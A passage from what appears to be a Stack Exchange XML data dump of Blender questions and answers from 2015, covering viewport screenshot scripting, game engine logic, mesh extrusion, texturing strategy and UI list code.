buf&#xA;&#xA;for area in context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        for region in area.regions:&#xA;            if region.type == 'WINDOW':&#xA;                screenshot_region(region)&#xA;                break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It creates an image datablock with the screenshot. You may wanna save it using &lt;code&gt;Image.save_as()&lt;/code&gt;, which will use the scene's render settings. Or use &lt;code&gt;struct.pack()&lt;/code&gt; to create some sort of bitmap file directly.&lt;/p&gt;&#xA;&lt;p&gt;If you want to take a series of screenshots, you could do the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                scene = context.scene&#xA;                frame_orig = scene.frame_current&#xA;&#xA;                for frame in range(scene.frame_start, scene.frame_end + 1):&#xA;                    scene.frame_set(frame)&#xA;                    bpy.ops.wm.redraw_timer(type='DRAW_WIN_SWAP', iterations=1)&#xA;                    screenshot_region(region)&#xA;&#xA;                scene.frame_set(frame_orig)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also see &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/info_gotcha.html#can-i-redraw-during-the-script&quot; rel=&quot;nofollow noreferrer&quot;&gt;Can I redraw during the script?&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Here's a more sophisticated example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;&#xA;context = bpy.context&#xA;scene = context.scene&#xA;&#xA;def screenshot_region(region):&#xA;    x = region.x&#xA;    y = region.y&#xA;    width = region.width&#xA;    height = region.height&#xA;    &#xA;    view_settings(area.spaces.active)&#xA;    bpy.ops.wm.redraw_timer(type='DRAW_WIN_SWAP', iterations=1)&#xA;    &#xA;    buf = bgl.Buffer(bgl.GL_FLOAT, width * height * 4)&#xA;    bgl.glReadPixels(x, y, width, height, bgl.GL_RGBA, bgl.GL_FLOAT, buf)&#xA;    img = bpy.data.images.new(&amp;quot;Screenshot&amp;quot;, width, height, alpha=True)&#xA;    img.pixels[:] = buf&#xA;    &#xA;    view_settings(area.spaces.active, True)&#xA;    &#xA;def view_settings(view3d, revert=False):&#xA;    pref = context.user_preferences.view&#xA;    if not revert:    &#xA;        view_settings.ob_info = pref.show_object_info&#xA;        view_settings.view_name = pref.show_view_name&#xA;        view_settings.mini_axis = pref.show_mini_axis&#xA;        #view_settings.only_render = view3d.show_only_render&#xA;        view_settings.manipulator = view3d.show_manipulator&#xA;        &#xA;        pref.show_object_info = False&#xA;        pref.show_view_name = False&#xA;        pref.show_mini_axis = False&#xA;        #view3d.show_only_render = False&#xA;        view3d.show_manipulator = False&#xA;    else:        &#xA;        pref.show_object_info = view_settings.ob_info&#xA;        pref.show_view_name = view_settings.view_name&#xA;        pref.show_mini_axis = view_settings.mini_axis&#xA;        #view3d.show_only_render = view_settings.only_render&#xA;        view3d.show_manipulator = view_settings.manipulator&#xA;&#xA;    &#xA;for area in context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        for region in area.regions:&#xA;            if region.type == 'WINDOW':&#xA;                for frame in range(scene.frame_start, scene.frame_end + 1):&#xA;                    scene.frame_set(frame)&#xA;                    screenshot_region(region)&#xA;                break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Related reads:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy.ops.html#keywords-and-positional-arguments&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.ops - Keyword and positional arguments / Context Overriding&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/info_quickstart.html#context&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender context&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/info_gotcha.html#using-operators&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using Operators / Poll-fail&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/6101/poll-failed-context-incorrect-example-bpy-ops-view3d-background-image-add&quot;&gt;poll() failed, context incorrect? - Example: bpy.ops.view3d.background_image_add()&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2021-03-06T07:49:26.327" LastActivityDate="2021-03-06T07:49:26.327" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="35039" PostTypeId="2" ParentId="34990" CreationDate="2015-08-03T20:27:19.940" Score="2" Body="&lt;p&gt;It looks like you have &lt;em&gt;Stereo&lt;/em&gt; enabled and set to &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Anaglyph_3D&quot; rel=&quot;nofollow noreferrer&quot;&gt;Anaglyph&lt;/a&gt;&lt;/em&gt;. This mode is intended for use with red/cyan 3D glasses, which enables the viewer to perceive depth in the game. See the relevant &lt;a href=&quot;https://en.wikipedia.org/wiki/Anaglyph_3D&quot; rel=&quot;nofollow noreferrer&quot;&gt;wikipedia article&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want this enabled, set it to &lt;em&gt;None&lt;/em&gt; in &lt;em&gt;Properties &gt; Render Settings &gt; Stereo&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RD27H.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RD27H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-08-03T20:27:19.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35040" PostTypeId="2" ParentId="35033" CreationDate="2015-08-03T20:32:52.673" Score="2" Body="&lt;p&gt;In your code &lt;code&gt;rigM&lt;/code&gt; will be constantly true when the right mouse button is held down. This means the action will keep playing. Try changing &lt;code&gt;bge.logic.KX_INPUT_ACTIVE&lt;/code&gt;  to &lt;code&gt;bge.logic.KX_INPUT_JUST_ACTIVATED&lt;/code&gt; in your definition for &lt;code&gt;rigM&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give the breathing animation a lower priority by setting the &lt;code&gt;priority&lt;/code&gt; argument on your &lt;code&gt;playaction&lt;/code&gt; call to a high number. See the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_60a_release/bge.types.html#bge.types.KX_GameObject.playAction&quot; rel=&quot;nofollow&quot;&gt;Game Types API Reference&lt;/a&gt; for details. If you don't want other actions to play while the right mouse button is held down then change your logic to not play the action when &lt;code&gt;rigM&lt;/code&gt; is true.&lt;/p&gt;&#xA;" OwnerUserId="16131" LastEditorUserId="16131" LastEditDate="2015-08-04T13:51:00.420" LastActivityDate="2015-08-04T13:51:00.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35041" PostTypeId="2" ParentId="35028" CreationDate="2015-08-03T20:39:07.173" Score="3" Body="&lt;p&gt;They can be either! although FK rigs are much easier on the game engine's animation player, they're usually not as flexible (i.e. your player doesn't look where the camera does.) I tend to use a combo of both:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start with, give the player animations (FK) then, simply add the constraint you want (the fewer the better) and add a &quot;armature&quot; actuator. Now this is automatically set to &quot;run armature&quot; but the setting can be changed to &quot;enable/disable&quot; (for individual constraints) or &quot;set influence&quot; or even &quot;set target&quot; which, although is resource consuming for your computer, can bring you some awesome mechanics that just aren't available for FK rigs.&#xA;And don't be fooled, not just the IK constraint can be used with the armature actuator, track-to and the whole kebab can be integrated into your game just as easily (with a few exceptions, I’ll look them up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, usually, to get my player to look where I want, he needs a vertical head bone. I next add a cube at the location of the head bone, set it to no-collision, and add an empty above it. Parent cube to player, empty to cube, give mouse look logic to the cube and set the IK target of the head-bone to the empty and you're gold!&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-08-03T20:39:07.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35042" PostTypeId="2" ParentId="34772" CreationDate="2015-08-03T20:48:32.120" Score="3" Body="&lt;p&gt;Realtime mass changes can be accomplished with the &quot;Edit Object&quot; actuator (my fav) set to &lt;em&gt;Dynamics&lt;/em&gt;&gt;&lt;em&gt;Set Mass&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fCwZ6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fCwZ6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this &lt;em&gt;still&lt;/em&gt; doesn't make the object fall faster(Galileo found this ~a long time ago :D)! think, what is gravity, it's a force, right? So applying &lt;em&gt;more&lt;/em&gt; force means an object falls faster. If an object is dynamic or rigid body, you get alot more buttons to play with under &quot;Motion&quot;. Try adding a force on the -Z axis, remember, 9.80 = 1G. Make sure to uncheck the &quot;L&quot; for local; that way you fall down, not toward your feet. Although they are sometimes the same place, if the player gets flipped, you have problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zWNaR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zWNaR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2015-08-03T21:22:21.940" LastActivityDate="2015-08-03T21:22:21.940" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35043" PostTypeId="1" CreationDate="2015-08-03T20:49:02.380" Score="3" ViewCount="2728" Body="&lt;p&gt;I am trying to extrude some face inwards (the opposite of extruding outwards). &#xA;In this screenshot you can see that I have selected the faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rq902.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rq902.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the next screenshot can you see that I was actually able to intrude the faces, but the outer vertices stay where they are:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/O2rTC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O2rTC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know why this happens and how to avoid it?&#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="14968" LastActivityDate="2015-08-03T22:30:34.387" Title="Extruding inwards leaves vertices alone" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35044" PostTypeId="2" ParentId="34986" CreationDate="2015-08-03T20:49:29.713" Score="2" Body="&lt;p&gt;I think a good starting point may be this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DLkbi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DLkbi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;code&gt;Limited Dissolve&lt;/code&gt; mode from &lt;kbd&gt;X&lt;/kbd&gt; menu. It effectively gets rid of mess edges and faces of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I used some very basic tweaking like dissolving some edges and vertices to make them not repeat each other, and creating some new edges instead of old ones. I also recalculated normals (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;) and made them point outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jatVn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jatVn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I added &lt;em&gt;Shrinkwrap&lt;/em&gt; modifier, imported original mesh again and wrapped my result atop of it so to be sure (hope so) that the form of the original mesh was preserved (the original mesh is hidden on the screenshot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/396/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;h3&gt;blend file here&lt;/h3&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-08-03T20:49:29.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35045" PostTypeId="1" CreationDate="2015-08-03T20:49:57.470" Score="12" ViewCount="8572" Body="&lt;p&gt;I'm wondering about the best way to go about setting up textures for a house meant for a game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read some things that say I should create a single large texture (2056x2056), paint all my details into there and then shrink it down to a smaller size for use later (512x512).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to create several materials with tileable textures for the brick, wood, shingles etc. and apply them to the faces that need them.  This would allow me to save a lot of memory on textures since I could reuse them on other models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go the one-big-texture route, would I run into problems if I try to make something really complicated like a castle?  A 2056 square image might be okay for a one room house, but I'm worried that a castle would require an image that would be to huge to handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eZU3q.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eZU3q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9732" LastActivityDate="2019-11-21T01:02:55.410" Title="What's a good strategy for texturing large objects?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35046" PostTypeId="2" ParentId="35043" CreationDate="2015-08-03T22:29:52.310" Score="4" Body="&lt;h2&gt;Yes, it does.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Extruding in 3D modeling means something like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;to &lt;strong&gt;shift&lt;/strong&gt; a selection in space while creating all the geometry&#xA;  that is needed to keep all the non-selected parts in place&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can have more detailed information about how tha algorithm works in the &lt;a href=&quot;http://www.blender.org/manual/modeling/meshes/editing/duplicating/extrude.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;official manual page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Let's consider a UV sphere:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Bt9Ubm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bt9Ubm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/DdOvAm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DdOvAm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how in the example above the non selected faces keep their positions (and so their edges and vertices). Is something different from grabbing, as involves the creation of new geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j2Q1em.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j2Q1em.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/2v7Sbm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2v7Sbm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By extruding, for example, along the normal axis, you may see from the pictures above how the operation does the same thing. In both cases (positive and negative normal axis extrusion) the surrounding vertices of the initial selection geometry keep their position.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;One way to achieve the result you want is to &lt;strong&gt;extrude inward&lt;/strong&gt; and than &lt;strong&gt;dissolve&lt;/strong&gt; the starting geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l0oNo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l0oNo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FkUya.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FkUya.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After inward extrusion, assign the selected faces to a vertex group, than extend the selection with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;+&lt;/kbd&gt;. Than that go to Vertex groups and remove previuosly assinged vertex group from the selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Bjxwp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bjxwp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;X&lt;/kbd&gt; to open the &quot;Delete&quot; menue and choose &quot;Dissolve edges&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0xB71.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0xB71.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-08-03T22:29:52.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35047" PostTypeId="1" AcceptedAnswerId="35091" CreationDate="2015-08-03T22:30:16.807" Score="1" ViewCount="55" Body="&lt;p&gt;I have a simple issue that I'm trying to get around fixing. On trigger, an object is added and a message gets sent to that object. When the message is sent, the object plays an animation. The problem is that the animation gets played to all the objects and not the new one. How can I fix this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-08-04T19:04:23.320" Title="Animation on one object's duplicate?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35048" PostTypeId="2" ParentId="35043" CreationDate="2015-08-03T22:30:34.387" Score="1" Body="&lt;p&gt;I think you want to combine an extrusion (or intrusion) on 1 side and a simple grab on the other side. I think you can solve this using an edge loop and grab.&lt;br&gt;&#xA;Start adding an edge loop with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; then left click and move it (with mouse) left until it sticks the other edge loop.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/C9BZu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C9BZu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kElNS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kElNS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go in face selection mode (1) and select &quot;normal&quot; as transform orientation (2)&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JcIcY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JcIcY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can select the faces and grab them with &lt;kbd&gt;G&lt;/kbd&gt;,&lt;kbd&gt;Z&lt;/kbd&gt;,&lt;kbd&gt;Z&lt;/kbd&gt;. This allows you to move faces along their normal Z axis (as a simple extrusion does).&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/p1zvi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p1zvi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have to clean your mesh before doing this, you have already created empty faces that will make your life harder :&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/doidj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/doidj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;Select all with &lt;kbd&gt;A&lt;/kbd&gt;, hit &lt;kbd&gt;W&lt;/kbd&gt; and click &quot;remove doubles&quot; to clean your empty faces (probably resulting of previous extrusion attempts)&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-08-03T22:30:34.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35049" PostTypeId="1" CreationDate="2015-08-03T23:10:43.960" Score="2" ViewCount="2114" Body="&lt;p&gt;I am creating a game and was wondering what a good number for the total number of vertices or triangles; either answer would be great.&lt;br&gt;&#xA;What quantity can the Blender game engine handle rendering in real time without the frame rate getting too out of control? I prefer a frame rate above 30 fps.&lt;br&gt;&#xA;The piece I'm asking about is the terrain I made. It will have 120,000 vertices in total, none of which are moving, and the player will probably see only 1000-2000 at a time (not sure if this makes a difference). I wasn't sure if this would be an issue as I am new to the game engine side of blender.&lt;/p&gt;&#xA;" OwnerUserId="16057" LastEditorUserId="2217" LastEditDate="2015-08-04T13:40:48.510" LastActivityDate="2015-08-04T15:31:15.997" Title="Optimal number vertices in a game" Tags="&lt;mesh&gt;&lt;game-engine&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35050" PostTypeId="1" CreationDate="2015-08-03T23:11:12.003" Score="9" ViewCount="176" Body="&lt;p&gt;I'd like to add a few pixels of padding between the Editors to make it easier to resize them. I believe there is a 3 pixel range to get the &quot;double arrow cursor&quot; for resizing. Apparently I am not coordinated enough to consistently place my cursor with that kind of precision. Is there any way to increase these margins through scripting, perhaps by modifying an existing script in the directory? Obviously this is doable on some level, but aside from getting into the source code or too deep into the data structure, is this a reasonable task for a novice programmer to accomplish?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'm shooting for...&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5stoz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5stoz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="15159" LastActivityDate="2016-06-12T14:45:08.297" Title="Adjust margins (padding) between Editor windows" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35051" PostTypeId="2" ParentId="35006" CreationDate="2015-08-03T23:54:11.657" Score="1" Body="&lt;p&gt;It was actually a bug, it works on version 2.72, but not in newer versions, is something related to my setup I think (OS or drivers), reporting to developers.&#xA;Until then I'll have to use the old version I guess.&lt;/p&gt;&#xA;" OwnerUserId="16106" LastActivityDate="2015-08-03T23:54:11.657" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35053" PostTypeId="1" AcceptedAnswerId="35057" CreationDate="2015-08-04T02:45:12.617" Score="3" ViewCount="625" Body="&lt;p&gt;I have created enum dropdown list to change masking of an object by changing vertex group assigned&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# On Enum change i want to trigger this function &#xA;def maskIt (self, context):&#xA;    #Do some thing here like bellow&#xA;    #bpy.data.objects[&quot;Suzanne&quot;].modifiers[&quot;Mask&quot;].vertex_group = &quot;Group 2&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Creating Enum dropdown list here &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def initSceneProperties(scn):&#xA;    bpy.types.Scene.MyEnum = EnumProperty(&#xA;        items = [('Group 1', 'Group 1', 'Group 1',1), &#xA;                 ('Group 2', 'Group 2', 'Group 2',2),&#xA;                 ('Group 3', 'Group 3', 'Group 3',3)],&#xA;        name = &quot;Mask the MESH&quot;)&#xA;    scn['MyEnum'] = 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Calling the function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;initSceneProperties(bpy.context.scene)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="47" LastEditDate="2015-08-04T05:09:24.827" LastActivityDate="2015-08-04T19:45:33.427" Title="How to call a function on change in Enum dropdown list?" Tags="&lt;scripting&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35055" PostTypeId="1" CreationDate="2015-08-04T04:11:12.580" Score="0" ViewCount="243" Body="&lt;p&gt;I am trying to use template_list with custom items but I cannot make them change values on double click. I want to change 'name' property the same way I can rename items in other lists (with double click).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ListItem(bpy.types.PropertyGroup):&#xA;    &quot;&quot;&quot; Group of properties representing an item in the list &quot;&quot;&quot;  &#xA;    name = StringProperty(&#xA;            name=&quot;Profile Name&quot;,&#xA;            default=&quot;Untitled&quot;)&#xA;&#xA;    empty_name = StringProperty(&#xA;            name=&quot;Name of Empty holding profile&quot;,&#xA;            description=&quot;&quot;,&#xA;            default=&quot;&quot;)&#xA;&#xA;class BLS_UL_List(bpy.types.UIList):&#xA;    def draw_item(self, context, layout, data, item, icon, active_data, active_propname, index):&#xA;        custom_icon = 'OUTLINER_OB_LAMP' if index == context.scene.BLStudio.list_index else 'LAMP'&#xA;&#xA;        # Make sure your code supports all 3 layout types&#xA;        if self.layout_type in {'DEFAULT', 'COMPACT'}:&#xA;            layout.label(item.name, icon = custom_icon)&#xA;&#xA;        elif self.layout_type in {'GRID'}:&#xA;            layout.alignment = 'CENTER'&#xA;            layout.label(&quot;&quot;, icon = custom_icon)&#xA;&#xA;class BLS_ProfileList(bpy.types.Panel):&#xA;    bl_idname = &quot;bls_profile_list&quot;&#xA;    bl_label = &quot;Profiles&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    bl_category = &quot;Light Studio&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scene = context.scene&#xA;&#xA;        props = scene.BLStudio&#xA;&#xA;        row = layout.row()&#xA;        col = row.column()&#xA;        col.template_list(&quot;BLS_UL_List&quot;, &quot;Profile_List&quot;, props, &quot;profile_list&quot;, props, &quot;list_index&quot;, rows=4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;Problem solved thanks to poor's comment. The solution is to change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.label(item.name, icon = custom_icon)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.prop(item, 'name', text='', icon = custom_icon, emboss=False, translate=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2563" LastEditorUserId="2563" LastEditDate="2015-08-04T13:32:22.933" LastActivityDate="2015-08-04T13:32:22.933" Title="Custom UIList, nothing happens when double clicking list item to change name" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="0" ClosedDate="2015-08-04T13:37:06.297" ContentLicense="CC BY-SA 3.0" />
